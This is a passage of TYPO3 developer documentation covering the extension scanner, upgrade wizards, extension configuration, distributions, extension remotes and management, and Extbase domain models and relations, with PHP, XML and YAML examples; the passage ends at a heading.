The array key is the class name plus method name, numberOfMandatoryArguments is the number of arguments that must be passed to the method, maximumNumberOfArguments is the maximum number of arguments the method accepts. The restFiles array contains file names of .rst file(s) that explain details of the deprecation.

Now let's look at a theoretical class of an extension that uses this deprecated method:

<?php
namespace My\Extension\Consumer;

use TYPO3\CMS\Core\Utility\SomeUtility;

class SomeClass
{
    public function someMethod()
    {
        // "Strong" match: Full class combination and method call matches
        \TYPO3\CMS\Core\Utility\SomeUtility::someMethod();

        // "Strong" match: Full class combination and method call matches
        \TYPO3\CMS\Core\Utility\SomeUtility::someMethod('foo');

        // "Strong" match: Use statements are resolved
        SomeUtility::someMethod('foo');

        // "Weak" match: Scanner does not know if $foo is class "SomeUtility", but method name matches
        $foo = '\TYPO3\CMS\Core\Utility\SomeOtherUtility';
        $foo::someMethod();

        // No match: The method is static but called dynamically
        $foo->someMethod();

        // No match: The method is called with too many arguments
        SomeUtility::someMethod('foo', 'bar');

        // No match: A different method is called
        SomeUtility::someOtherMethod();
    }
}
Copied!

The first three method calls are classified as strong matches: the full class name is used and the method name matches including the argument restrictions. The fourth call $foo::someMethod(); is classified as a weak match and is a false positive: Class SomeOtherUtility is called instead of SomeUtility. The sixth method call SomeUtility::someMethod('foo', 'bar') does not match because the method is called with two arguments instead of one argument.

The "too many arguments" restriction is a measure to suppress false positives: If a method with the same name exists which accepts a different number of arguments, valid calls to the other method may be reported as false positives depending on the number of arguments used in the call.

As you can see, depending on given extension code, the scanner may find false positives and it may not find matches if for instance the number of arguments is not within a specified range.

The example above looks for static method calls, which are relatively reliable to match. For dynamic -> method call, a strong match on the class name is almost never achieved, which means almost all matches for such cases will be weak matches.

Additionally, an extension may already have a version check around a function call to run one function on one Core version and a different one on another Core version. The extension scanner does not understand these constructs and would still show the deprecated call as a match, even if it was wrapped in a Core version check.

Extension authors

Even though the extension scanner can be a great help to quickly see which places of an extension may need attention when upgrading to a newer Core version, the following points should be considered:

  • It should not be a goal to always have a green output of the extension scanner, especially if the extension scanner shows a false positive.
  • A green output when scanning an extension does not imply that the extension actually works with that Core version: Some deprecations or breaking changes are not scanned (for example those causing too many false positives) and the scanner does not support all script/markup languages.
  • The breaking change / deprecation reST files shipped with a Core version are still relevant and should be read.
  • If the extension scanner shows one or more false positives the extension author has the following options:

    • Ignore the false positive
    • Suppress a single match with an inline comment:

      // @extensionScannerIgnoreLine
      $foo->someFalsePositiveMatch('foo');
      Copied!
    • Suppress all matches in an entire file with a comment. This is especially useful for dedicated classes which act as proxies for Core API:

      <?php
      
      /**
       * @extensionScannerIgnoreFile
       */
      class SomeClassIgnoredByExtensionScanner
      {
          ...
      }
      Copied!
    • The author could request a Core patch to remove a specific match from the extension scanner if it triggers too many false positives. If multiple authors experience the same false positives they are even more likely to be removed upon request.
    • Some of the matchers can be restricted to only include strong matches and ignore weak ones. The extension author may request a "strong match only" patch for specific cases to suppress common false positives.
  • If a PHP file is invalid and can not be compiled for a given PHP version, the extension scanner may throw a general parse error for that file. Additionally, if an extension calls a matched method with too many arguments (which is valid in PHP) then the extension scanner will not show that as a match. In general: the cleaner the code base of a given extension is and the simpler the code lines are, the more useful the extension scanner will be.
  • If an extension is cluttered with @extensionScannerIgnoreLine or @extensionScannerIgnoreFile annotations this could be an indication to the extension author to consider branching off an extensions to support individual Core versions instead of supporting multiple versions in the same release.

Project developers

Project developers are developers who maintain a project that consists of third party extensions (eg. from TER) together with some custom, project-specific extensions. When analysing the output of an extension scanner run the following points should be considered:

  • It is not necessary for all scanned extensions to report green status. Due to the nature of the extension scanner which can show false positives, extension authors may decide to ignore a false positive (see above). That means that even well maintained extensions may not report green.
  • A green status in the scanner does not imply that the extension also works, just that it neither uses deprecated methods nor any Core API which received breaking changes. It also does not indicate anything about the quality of the extension: false positives can be caused by for example supporting multiple TYPO3 versions in the same extension release.

Core developers

When you are working on the TYPO3 Core and deprecate or remove functionality you can find information in Core Contribution Guide, appendix Extension Scanner.

Upgrade wizards

TYPO3 offers a way for extension authors to provide automated updates for extensions. TYPO3 itself provides upgrade wizards to ease updates of TYPO3 versions. This chapter will explain the concept and how to write upgrade wizards.

The concept of upgrade wizards

Upgrade wizards are single PHP classes that provide an automated way to update certain parts of a TYPO3 installation. Usually those affected parts are sections of the database (for example, contents of fields change) as well as segments in the file system (for example, locations of files have changed).

Wizards should be provided to ease updates for integrators and administrators. They are an addition to the database migration, which is handled by the Core based on ext_tables.sql.

The execution order is not defined. Each administrator is able to execute wizards and migrations in any order. They can also be skipped completely.

Each wizard is able to check pre-conditions to prevent execution, if nothing has to be updated. The wizard can log information and executed SQL statements, that can be displayed after execution.

Best practice

Each extension can provide as many upgrade wizards as necessary. Each wizard should perform exactly one specific update.

Examples

The TYPO3 Core itself provides upgrade wizards inside EXT:install/Classes/Updates/ (GitHub).

Creating upgrade wizards

These steps create an upgrade wizard:

  1. Add a class implementing UpgradeWizardInterface
  2. The class may implement other interfaces (optional):

  3. Register the wizard in the file ext_localconf.php

UpgradeWizardInterface

Each upgrade wizard consists of a single PHP file containing a single PHP class. This class has to implement \TYPO3\CMS\Install\Updates\UpgradeWizardInterface and its methods:

EXT:my_extension/Classes/Upgrades/ExampleUpgradeWizard.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Upgrades;

use TYPO3\CMS\Install\Updates\UpgradeWizardInterface;

final class ExampleUpgradeWizard implements UpgradeWizardInterface
{
    /**
     * Return the identifier for this wizard
     * This should be the same string as used in the ext_localconf.php class registration
     */
    public function getIdentifier(): string
    {
        return 'myExtension_exampleUpgradeWizard';
    }

    /**
     * Return the speaking name of this wizard
     */
    public function getTitle(): string
    {
        return 'Title of this updater';
    }

    /**
     * Return the description for this wizard
     */
    public function getDescription(): string
    {
        return 'Description of this updater';
    }

    /**
     * Execute the update
     *
     * Called when a wizard reports that an update is necessary
     *
     * The boolean indicates whether the update was successful
     */
    public function executeUpdate(): bool
    {
        // Add your logic here
    }

    /**
     * Is an update necessary?
     *
     * Is used to determine whether a wizard needs to be run.
     * Check if data for migration exists.
     *
     * @return bool Whether an update is required (TRUE) or not (FALSE)
     */
    public function updateNecessary(): bool
    {
        // Add your logic here
    }

    /**
     * Returns an array of class names of prerequisite classes
     *
     * This way a wizard can define dependencies like "database up-to-date" or
     * "reference index updated"
     *
     * @return string[]
     */
    public function getPrerequisites(): array
    {
        // Add your logic here
    }
}
Copied!
Method getIdentifier()
Return the identifier for this wizard. This should be the same string as used in the ext_localconf.php class registration.
Method getTitle()
Return the speaking name of this wizard.
Method getDescription()
Return the description for this wizard.
Method executeUpdate()
Is called, if the user triggers the wizard. This method should contain, or call, the code that is needed to execute the upgrade. Return a boolean indicating whether the update was successful.
Method updateNecessary()
Is called to check whether the upgrade wizard has to run. Return true, if an upgrade is necessary, false if not. If false is returned, the upgrade wizard will not be displayed in the list of available wizards.
Method getPrerequisites()

Returns an array of class names of prerequisite classes. This way, a wizard can define dependencies before it can be performed. Currently, the following prerequisites exist:

  • DatabaseUpdatedPrerequisite: Ensures that the database table fields are up-to-date.
  • ReferenceIndexUpdatedPrerequisite: The reference index needs to be up-to-date.
EXT:my_extension/Classes/Upgrades/ExampleUpgradeWizard.php
use TYPO3\CMS\Install\Updates\DatabaseUpdatedPrerequisite;
use TYPO3\CMS\Install\Updates\ReferenceIndexUpdatedPrerequisite;

/**
 * @return string[]
 */
public function getPrerequisites(): array
{
    return [
        DatabaseUpdatedPrerequisite::class,
        ReferenceIndexUpdatedPrerequisite::class,
    ];
}
Copied!

Registering wizards

Once the wizard is created, it needs to be registered. Registration is done in ext_localconf.php:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['ext/install']['update']['myExtension_exampleUpgradeWizard']
    = \MyVendor\MyExtension\Upgrades\ExampleUpgradeWizard::class;
Copied!

Wizard identifier

The wizard identifier is used:

  • when calling the wizard from the command line.
  • when marking the wizard as done in the table sys_registry

Since all upgrade wizards of TYPO3 Core and extensions are registered using the identifier as key in the global array $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['ext/install']['update'] , it is recommended to prepend the wizard identifier with a prefix based on the extension key.

You should use the following naming convention for the identifier:

myExtension_wizardName, for example bootstrapPackage_addNewDefaultTypes

  • The extension key and wizard name in lowerCamelCase, separated by underscore
  • The existing underscores in extension keys are replaced by capitalizing the following letter

Some examples:

Extension key Wizard identifier
container container_upgradeColumnPositions
news_events newsEvents_migrateEvents
bootstrap_package bootstrapPackage_addNewDefaultTypes

Marking wizard as done

As soon as the wizard has completely finished, for example, it detected that no upgrade is necessary anymore, the wizard is marked as done and will not be checked anymore.

To force TYPO3 to check the wizard every time, the interface EXT:install/Classes/Updates/RepeatableInterface.php (GitHub) has to be implemented. This interface works as a marker and does not force any methods to be implemented.

Generating output

The ChattyInterface can be implemented for wizards which should generate output. EXT:install/Classes/Updates/ChattyInterface.php (GitHub) uses the Symfony interface OutputInterface.

Classes using this interface must implement the following method:

vendor/symfony/console/Output/OutputInterface.php
/**
 * Setter injection for output into upgrade wizards
 */
 public function setOutput(OutputInterface $output): void;
Copied!

The class EXT:install/Classes/Updates/DatabaseUpdatedPrerequisite.php (GitHub) implements this interface. We are showing a simplified example here, based on this class:

EXT:install/Classes/Updates/DatabaseUpdatedPrerequisite.php
use Symfony\Component\Console\Output\OutputInterface;

class DatabaseUpdatedPrerequisite implements PrerequisiteInterface, ChattyInterface
{
    /**
     * @var OutputInterface
     */
    protected $output;

    public function setOutput(OutputInterface $output): void
    {
        $this->output = $output;
    }

    public function ensure(): bool
    {
        $adds = $this->upgradeWizardsService->getBlockingDatabaseAdds();
        $result = null;
        if (count($adds) > 0) {
            $this->output->writeln('Performing ' . count($adds) . ' database operations.');
            $result = $this->upgradeWizardsService->addMissingTablesAndFields();
        }
        return $result === null;
    }

    // ... more logic
}
Copied!

Executing the wizard

Wizards are listed in the backend module Admin Tools > Upgrade and the card Upgrade Wizard. The registered wizard should be shown there, as long as it is not done.

It is also possible to execute the wizard from the command line:

vendor/bin/typo3 upgrade:run myExtension_exampleUpgradeWizard
Copied!
typo3/sysext/core/bin/typo3 upgrade:run myExtension_exampleUpgradeWizard
Copied!

Configuration

There are several possibilities to make your extension configurable. From the various options described here each differs in:

  • the scope to what the configuration applies (extension, pages, plugin)
  • the access level required to make the change (editor, admin)

TypoScript and constants

You can define configuration options using TypoScript. These options can be changed via TypoScript constants and setup in the backend. The changes apply to the current page and all subpages.

Extension configuration

Extension configuration is defined in the file ext_conf_template.txt using TypoScript constant syntax.

The configuration options you define in this file can be changed in the backend Admin Tools > Settings > Extension Configuration and is stored in typo3conf/LocalConfiguration.php.

Use this file for general options that should be globally applied to the extension.

FlexForms

FlexForms can be configured in the backend by editors. With FlexForms you can configure each plugin or content element individually without adding extra fields to the tt_content table.

In Extbase plugins, settings made in the FlexForm of a plugin override settings made in the TypoScript configuration of that plugin.

Example

EXT:blog_example/Configuration/FlexForms/PluginSettings.xml
<T3DataStructure>
    <sheets>
        <sDEF>
            <ROOT>
                <TCEforms>
                    <sheetTitle>Options</sheetTitle>
                </TCEforms>
                <type>array</type>
                <el>
                    <settings.postsPerPage>
                        <TCEforms>
                            <label>Max. number of posts to display per page
                            </label>
                            <config>
                                <type>input</type>
                                <size>2</size>
                                <eval>int</eval>
                                <default>3</default>
                            </config>
                        </TCEforms>
                    </settings.postsPerPage>
                </el>
            </ROOT>
        </sDEF>
    </sheets>
</T3DataStructure>
Copied!

Access settings

The settings can be read using $this->settings in an Extbase controller action and via {settings} within Fluid.

Example: Access settings in an Extbase controller

EXT:blog_example/Classes/Controller/PostController.php
use Psr\Http\Message\ResponseInterface;

class PostController extends \FriendsOfTYPO3\BlogExample\Controller\AbstractController
{
    public function displayRssListAction(): ResponseInterface
    {
        $defaultBlog = $this->settings['defaultBlog'] ?? 0;
        if ($defaultBlog > 0) {
            $blog = $this->blogRepository->findByUid((int)$defaultBlog);
        } else {
            $blog = $this->blogRepository->findAll()->getFirst();
        }
        $this->view->assign('blog', $blog);
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/xml; charset=utf-8')
            ->withBody($this->streamFactory->createStream($this->view->render()));
    }
}
Copied!

YAML

Some extensions offer configuration in the format YAML, see YAML.

There is a YamlFileLoader which can be used to load YAML files.

Creating a new distribution

This chapter describes the main steps in creating a new distribution.

Concept of distributions

The distributions are full TYPO3 websites that only need to be unpacked. They offer a simple and quick introduction to the use of the TYPO3. The best known distribution is the Introduction Package. Distributions are easiest to install via the Extension Manager (EM) under "Get preconfigured distribution".

A distribution is just an extension enriched with some further data that is loaded or executed upon installing that extension. A distribution takes care of the following parts:

  • Deliver initial database data
  • Deliver fileadmin files
  • Deliver configuration for a package
  • Hook into the process after saving configuration to trigger actions dependent on configuration values
  • Deliver dependent extensions if needed (e.g., customized versions or extensions not available through TER)

Kickstarting the Distribution

A distribution is a special kind of extension. The first step is thus to create a new extension. Start by registering an extension key, which will be the unique identifier of your distribution.

Next create the extension declaration file as usual, except for the "category" property which must be set to distribution.

Configuring the Distribution Display in the EM

You should provide two preview images for your distribution. Provide a small 220x150 pixels for the list in the Extension Manager as Resources/Public/Images/Distribution.png and a larger 300x400 pixels welcome image as Resources/Public/Images/DistributionWelcome.png. The welcome image is displayed in the distribution detail view inside the Extension Manager.

Fileadmin Files

Create the following folder structure inside your extension:

  • Initialisation
  • Initialisation/Files

All the files inside that second folder will be copied to fileadmin/<extkey> during installation, where "extkey" is the extension key of your distribution.

A good strategy for files (as followed by the Introduction Package) is to construct the distribution so that it can be uninstalled and removed from the file system after the initial import.

To achieve that, when creating content for your distribution, all your content related files (assets) should be located within fileadmin/<extkey> in the first place, and content elements or other records should reference these files via FAL. A good export preset will then contain the content related assets within your dump.

If there are files not directly referenced in tables selected for export (for example ext:form .yml form configurations), you can locate them within fileadmin/<extkey>, too. Only those need to be copied to Initialisation/Files - all other files referenced in database rows will be within your export dump.

Note that you should not put your website configuration (TypoScript files, JavaScript, CSS, logos, etc.) in fileadmin/, which is intended for editors only, but in a separate extension. In the case of the Introduction Package, the configuration is located in the Bootstrap Package extension, and the Introduction Package depends on it. In this way, the Introduction Package provides only the database dump and asset files which results in only content-related files being in fileadmin/, which are provided by the Introduction Package.

Site configuration

In order to import a site configuration upon installation, supply a site config file to Initialisation/Site/<SITE_IDENTIFIER>/config.yaml.

Database Data

The database data is delivered as TYPO3 export file under Initialisation/data.xml.

Generate this file by exporting your whole TYPO3 instance from the root of the page tree using the export module:

  1. Page tree

    Open the export module by right-clicking on the root of the page tree and selecting More Options > Export.

  2. Export module: Configuration

    Select the tables to be included in the export: It should include all tables except be_users and sys_log.

    Relations to all tables should be included, whereas static relations should not. Static relations are only useful if the related records already exist in the target TYPO3 instance. This is not the case with distributions that initialize the target TYPO3 instance.

    Fine-tune the export configuration by evaluating the list of records at the bottom of the page under "Inside pagetree": This is a precalculation of the records to be included in the export.

    Do not forget to click Update before proceeding to the next tab.

  3. Export module: Advanced Options

    Check Save files in extra folder beside the export file to save files (e.g. images), referenced in database data, in a separate folder instead of directly in the export file .

  4. Export module: File & Preset

    Insert meaningful metadata under Meta data. The file name must be "data" and the file format must be set to "XML".

    To reuse your export configuration during ongoing distribution development, you should now save it as a preset. Choose a descriptive title and click the Save button. A record will be created in the tx_impexp_presets table.

    Currently, after saving the export configuration, you jump to the first tab, so navigate back to the File & Preset tab.

    To finish the export, click the Save to filename button. Copy the export file from /fileadmin/user_upload/_temp_/importtexport/data.xml to the distribution folder under Initialisation/data.xml.

    If referenced files were exported, copy the fileadmin/user_upload/_temp_/importtexport/data.xml.files/ folder containing the files with hashed filenames to the distribution folder under Initialisation/data.xml.files/.

Distribution Configuration

A distribution is technically handled as an extension. Therefore you can make use of all configuration options as needed.

After installing the extension, the event AfterPackageActivationEvent is dispatched. You may use this to alter your website configuration (e.g. color scheme) on the fly.

Test Your Distribution

To test your distribution, copy your extension to an empty TYPO3 installation and try to install it from the Extension Manager.

To test a distribution locally without uploading to TER, just install a blank TYPO3 (last step in installer "Just get me to the Backend"), then go to Extension Manager, select "Get extensions" once to let the Extension Manager initialize the extension list (this is needed if your distribution has dependencies to other extensions, for instance the Introduction Package depends on the Bootstrap Package). Next, copy or move the distribution extension to typo3conf/ext, it will then show up in Extension Manager default tab "Installed Extensions".

Install the distribution extension from there. The Extension Manager will then resolve TER dependencies, load the database dump and handle the file operations. Under the hood, this does the same as later installing the distribution via "Get preconfigured distribution", when it has been uploaded or updated in TER, with the only difference that you can provide and test the distribution locally without uploading to TER first.

Creating a new extension

First choose a unique Composer name for your extension. Additionally, an extension key is required.

If you plan to ever publish your extension in the TYPO3 Extension Repository (TER), register an extension key.

Kickstarting the extension

There are different options to kickstart an extension. You can create it from scratch or follow one of our tutorials on kickstarting an extension.

Installing the newly created extension

Starting with TYPO3 v11 it is no longer possible to install extensions in TYPO3 without using Composer in Composer-based installations.

However during development it is likely that you will want to test your extension locally before publishing it.

During development, place the extension in a directory called, local_packages in TYPO3s root directory. You can name is directory however you choose.

Then edit your projects composer.json (The one in the TYPO3 root directory, not the one in the extension) and add the following repository:

composer.json
{
   "repositories": [
      {
         "type": "path",
         "url": "local_packages/*"
      }
   ]
}
Copied!

After that you can install your extension via Composer:

composer req vendor/my-extension:"@dev"
Copied!

For legacy installations you can put the extension directly in the directory typo3conf/ext and then activate it in Admin Tools > Extension Manager.

Custom Extension Repository

TYPO3 provides functionality that connects to a different repository type than the "official" TER (TYPO3 Extension Repository) to download third-party extensions. The API is called "Extension Remotes". These remotes are adapters that allow fetching a list of extensions via the ListableRemoteInterface or downloading an extension via the ExtensionDownloaderRemoteInterface.

It is possible to add new remotes, disable registered remotes or change the default remote.

Custom remote configuration can be added in the Configuration/Services.yaml of the corresponding extension.

extension.remote.myremote:
  class: 'TYPO3\CMS\Extensionmanager\Remote\TerExtensionRemote'
  arguments:
    $identifier: 'myremote'
    $options:
       remoteBase: 'https://my_own_remote/'
  tags:
    - name: 'extension.remote'
      default: true
Copied!

Using default: true, "myremote" will be used as the default remote. Setting default: true only works if the defined service implements ListableRemoteInterface.

Please note that \Vendor\SitePackage\Remote\MyRemote must implement ExtensionDownloaderRemoteInterface to be registered as remote.

To disable an already registered remote, enabled: false can be set.

extension.remote.ter:
  tags:
    - name: 'extension.remote'
      enabled: false
Copied!

Adding documentation

If you plan to upload your extension to the TYPO3 Extension Repository (TER), you should first consider adding documentation to your extension. Documentation helps users and administrators to install, configure and use your extension, and decision makers to get a quick overview without having to install the extension.

The TYPO3 documentation platform https://docs.typo3.org centralizes documentation for each project. It supports different types of documentation:

  1. The full documentation, stored in EXT:{extkey}/Documentation/.
  2. The single file documentation, such as a simple README file stored in EXT:{extkey}/README.rst.

We recommend the first approach for the following reasons:

  • Output formats: Full documentations can be automatically rendered as HTML or TYPO3-branded PDF.
  • Cross-references: It is easy to cross-reference to other chapters and sections of other manuals (either TYPO3 references or extension manuals). The links are automatically updated when pages or sections are moved.
  • Many content elements: The Sphinx template used for rendering the full documentation provides many useful content elements to improve the structure and look of your documentation.

For more details on both approaches see the File structure page and for more information on writing TYPO3 documentation in general, see the Writing documentation guide.

Tools

Although it is possible to write every single line of a full documentation from scratch, the TYPO3 community provides tools to support you:

  • A Sample Manual is available to be immediately copied into your own extension.
  • The Extension Builder optionally generates a documentation skeleton together with the extension skeleton.

Extension management

Extensions are managed from the Extension Manager inside TYPO3 by "admin" users. The module is located at Admin Tools > Extensions and offers a menu with options to see loaded extensions (those that are installed or activated), available extensions on the server and the possibility to import extensions from online resources, typically the TER (TYPO3 Extension Repository) located at typo3.org.

Interface of the Extension Manager showing all available extensions.

The interface is really easy to use. You just click the +/- icon to the left of an extension in order to install it and follow the instructions.

Installing extensions

There are only two (possibly three) steps involved in using extensions with TYPO3:

  1. You must import it.

    This simply means to copy the extensions files into the correct directory into. More commonly you import an extension directly from the online TYPO3 Extension Repository (TER) using the Extension Manager. When an extension is found located in one of the extension locations, it is available to the system.

    The Extension Manager (EM) should take care of this process, including updates to newer versions if needed.

    Another convenient way to install extensions is offered by using Composer (https://getcomposer.org/) along with the TYPO3 Composer Repository (https://composer.typo3.org/). The TYPO3 Composer Repository includes all TYPO3 extensions that are uploaded to TER.

  2. You must load it.

    In legacy installations not based on Composer an extension is loaded only if it is listed in the PackageStates.php file. Extensions are loaded in the order they appear in this list. In Composer installations, all extensions in the composer.json are considered as active.

    An enabled extension is always global to the TYPO3 Installation - you cannot disable an extension from being loaded in a particular branch of the page tree. The EM takes care of enabling extensions. It's highly recommended that the EM is doing this, because the EM will make sure the priorities, dependencies and conflicts are managed according to the extension characteristics, including clearing of the cache-files if any.

  3. You might be able to configure it.

    Certain extensions may allow you to configure some settings. Admin Tools > Settings > Extension configuration provides an interface to configure extensions that provide configuration settings. Any settings - if present - configured for an extension are available as an array in the variable $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS'][extensionKey] and thus reside in typo3conf/LocalConfiguration.php.

Loaded extensions can be fetched with TYPO3\CMS\Core\Package\PackageManager::getActivePackages(), available in both frontend and backend of TYPO3.

This will return an array of \TYPO3\CMS\Core\Package\Package objects, containing the data structure for each extension. These include the properties:

Key

Description

packageKey

The package key (or extension key).

packagePath

Path to the package. Can be used to determine, if the extension is local or global scope.

composerManifest

A large array containing the composer manifest. (the composer.json of the extension, if it exists)

packageMetaData

Properties of the ext_emconf.php configuration of the extension, like its constraints (depends, suggests, conflicts), version, title, description, …,

The order of the registered extensions in this array corresponds to the order they were listed in PackageStates.php in legacy installations.

Extbase

Extbase is an extension framework to create TYPO3 frontend plugins and TYPO3 backend modules. Extbase can be used to develop extensions but it does not have to be used.

Extbase is included in the TYPO3 Core as system extension extbase.

Please note: Extbase relies on frontend TypoScript being present; otherwise the configuration is not applied. This is usually no problem - Extbase plugins are typically either included as USER content object (its content is cached and returned together with other content elements in fully-cached page context), or the Extbase plugin is registered as USER_INT. In this case, the TSFE takes care of calculating TypoScript before the plugin is rendered, while other USER content objects are fetched from page cache. This in mind you should not use Extbase in another context, like in middlewares.

There are also tutorials in the Extension Development - Tutorials section.

Extbase introduction

What is Extbase?

Extbase is provided via a TYPO3 system extension (typo3-cms/extbase). Extbase is a framework within the TYPO3 Core. The framework is based on the software pattern MVC (model-view-controller) and uses ORM (object relational modeling).

Extbase can be and is often used in combination with the Fluid templating engine, but Fluid can also be used without Extbase. Backend modules and plugins can be implemented using Extbase, but can also be done with TYPO3 Core native functionality. Extbase is not a prerequisite for extension development. In most cases, using Extbase means writing less code, but the performance may suffer.

Key parts of Extbase are the Object Relational Model (ORM), automatic validation and its "Property Mapper".

When Extbase was released, it was introduced as the modern way to program extensions and the "old" way (pibase) was propagated as outdated. When we look at this today, it is not entirely true: Extbase is a good fit for some specific types of extensions and there are always alternatives. For some use cases it is not a good fit at all and the extension can and should be developed without Extbase.

Thus, many things, such as backend modules or plugins can be done "the Extbase way" or "the Core way". This is a design decision, the extension developer must make for the specific use case.

Extbase or not?

When to use Extbase and when to use other methods?

As a rule of thumb (which should not be blindly followed but gives some guidance):

Use Extbase if you:

  • wish to get started quickly, e.g. using the extension_builder
  • are a beginner or do not have much experience with TYPO3
  • want to create a "classic" Extbase extension with plugins and (possibly) backend modules (as created with the extension_builder)

Do not use Extbase

  • if performance might be an issue with the "classic" Extbase approach
  • if there is no benefit from using the Extbase approach
  • if you are writing an extension where Extbase does not add any or much value, e.g. an extension consisting only of Backend modules, a site package, a collection of content elements, an Extension which is used as a command line tool.

There is also the possibility to use a "mixed" approach, e.g. use Extbase controllers, but do not use the persistence of Extbase. Use TYPO3 QueryBuilder (which is based on doctrine/dbal) instead. With Extbase persistence or with other ORM approaches, you may run into performance problems. The database tables are mapped to "Model" objects which are acquired via "Repository" classes. This often means more is fetched, mapped and allocated than necessary. Especially if there are large tables and/or many relations, this may cause performance problems. Some can be circumvented by using "lazy initialization" which is supported within Extbase.

However, if you use the "mixed" approach, you will not get some of the advantages of Extbase and have to write more code yourself.

Model / Domain

The Application domain of the extension is always located below Classes/Domain. This folder is structured as follows:

Model/
Contains the domain models themselves.
Repository/
It contains the repositories to access the domain models.
Validator/
Contains specific validators for the domain models.

Contents:

Model

All classes of the domain model should inherit from the class \TYPO3\CMS\Extbase\DomainObject\AbstractEntity .

An entity is an object fundamentally defined not by its attributes, but by a thread of continuity and identity for example a person or a blog post.

Objects stored in the database are usually entities as they can be identified by the uid and are persisted, therefore have continuity.

Example:

EXT:blog_example/Classes/Domain/Model/Comment.php
class Comment extends AbstractEntity
{
    protected string $author = '';

    protected string $content = '';

    public function getAuthor(): string
    {
        return $this->author;
    }

    public function setAuthor(string $author): void
    {
        $this->author = $author;
    }

    public function getContent(): string
    {
        return $this->content;
    }

    public function setContent(string $content): void
    {
        $this->content = $content;
    }
}
Copied!

Connecting the model to the database

It is possible to define models that are not persisted to the database. However in the most common use cases you want to save your model to the database and load it from there. See Persistence.

Properties

The properties of a model can be defined either as public class properties:

EXT:blog_example/Classes/Domain/Model/Tag.php
final class Tag extends AbstractValueObject
{
    public string $name = '';

    public int $priority = 0;
}
Copied!

Or public getters:

EXT:blog_example/Classes/Domain/Model/Info.php
class Info extends AbstractEntity
{
    protected string $name = '';

    protected string $bodytext = '';

    public function getName(): string
    {
        return $this->name;
    }

    public function getBodytext(): string
    {
        return $this->bodytext;
    }

    public function setBodytext(string $bodytext): void
    {
        $this->bodytext = $bodytext;
    }
}
Copied!

A public getter takes precedence over a public property. Getters have the advantage that you can make the properties themselves protected and decide which ones should be mutable.

It is also possible to have getters for properties that are not persisted and get created on the fly:

EXT:blog_example/Classes/Domain/Model/Info.php
class Info extends AbstractEntity
{
    protected string $name = '';

    protected string $bodytext = '';

    public function getCombinedString(): string
    {
        return $this->name . ': ' . $this->bodytext;
    }
}
Copied!

One disadvantage of using additional getters is that properties that are only defined as getters do not get displayed in the debug output in Fluid, they do however get displayed when explicitly called:

Debugging different kind of properties
Does not display "combinedString":
<f:debug>{post.info}</f:debug>

But it is there:
<f:debug>{post.info.combinedString}</f:debug>
Copied!

Relations

Extbase supports different types of hierarchical relationships between domain objects. Relationships can be defined as unidirectional or as multidimensional in the model.

On the side of a relationship that can only have one counterpart, you must decide whether it is allowed that no counterpart exists (allow null).

Nullable relations

There are two ways to allow null for a property in PHP:

Nullable property types have been introduced with PHP 7.1 and can therefore be used in any modern TYPO3 version:

Example for a nullable property
protected ?Person $secondAuthor = null;
Copied!

Union types, that can also be used to allow null, have been introduced with PHP 8.0.

Example for union type of null and Person
protected Person|null $secondAuthor = null;
Copied!

Both declarations have the same meaning.

1:1-relationship

A blog post can have, in our case, exactly one additional info attached to it. The info always belongs to exactly one blog post. If the blog post gets deleted, the info does get related.

EXT:blog_example/Classes/Domain/Model/Post.php
use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;

class Post extends AbstractEntity
{
    /**
     * 1:1 optional relation
     * @Cascade("remove")
     */
    protected ?Info $additionalInfo;

    public function getAdditionalInfo(): ?Info
    {
        return $this->additionalInfo;
    }

    public function setAdditionalInfo(?Info $additionalInfo): void
    {
        $this->additionalInfo = $additionalInfo;
    }
}
Copied!

1:n-relationship

A blog can have multiple posts in it. If a blog is deleted all of its posts should be deleted. However a blog might get displayed without displaying the posts therefore we load the posts of a blog lazily:

EXT:blog_example/Classes/Domain/Model/Blog.php
use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    /**
     * The posts of this blog
     *
     * @var ObjectStorage<Post>
     * @Lazy
     * @Cascade("remove")
     */
    public $posts;

    /**
     * Adds a post to this blog
     */
    public function addPost(Post $post)
    {
        $this->posts->attach($post);
    }

    /**
     * Remove a post from this blog
     */
    public function removePost(Post $postToRemove)
    {
        $this->posts->detach($postToRemove);
    }

    /**
     * Returns all posts in this blog
     *
     * @return ObjectStorage
     */
    public function getPosts(): ObjectStorage
    {
        return $this->posts;
    }

    /**
     * @param ObjectStorage<Post> $posts
     */
    public function setPosts(ObjectStorage $posts): void
    {
        $this->posts = $posts;
    }
}
Copied!

Each post belongs to exactly one blog, of course a blog does not get deleted when one of its posts gets deleted.

EXT:blog_example/Classes/Domain/Model/Post.php
class Post extends AbstractEntity
{
    protected Blog $blog;
}
Copied!

A post can also have multiple comments and each comment belongs to exactly one blog. However we never display a comment without its post therefore we do not need to store information about the post in the comment's model: The relationship is unidirectional.

EXT:blog_example/Classes/Domain/Model/Post.php
use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Comment>
     * @Lazy
     * @Cascade("remove")
     */
    public ObjectStorage $comments;
}
Copied!

The model of the comment has no property to get the blog post in this case.

n:1-relationships

n:1-relationships are the same like 1:n-relationsships but from the perspective of the object:

Each post has exactly one main author but an author can write several blog posts or none at all. He can also be a second author and no main author.

EXT:blog_example/Classes/Domain/Model/Post.php
class Post extends AbstractEntity
{
    /**
     * @var Person
     */
    protected Person $author;

    protected Person|null $secondAuthor;
}
Copied!

Once more the model of the author does not have a property containing the authors posts. If you would want to get all posts of an author you would have to make a query in the PostRepository taking one or both relationships (first author, second author) into account.

m:n-relationship

A blog post can have multiple categories, each category can belong to multiple blog posts.

EXT:blog_example/Classes/Domain/Model/Post.php
class Post extends AbstractEntity
{
    /**
     * @var Person
     */
    protected ?Person $author = null;

    protected ?Person $secondAuthor = null;
}
Copied!

Event

The PSR-14 event AfterObjectThawedEvent is available to modify values when creating domain objects.

Eager loading and lazy loading

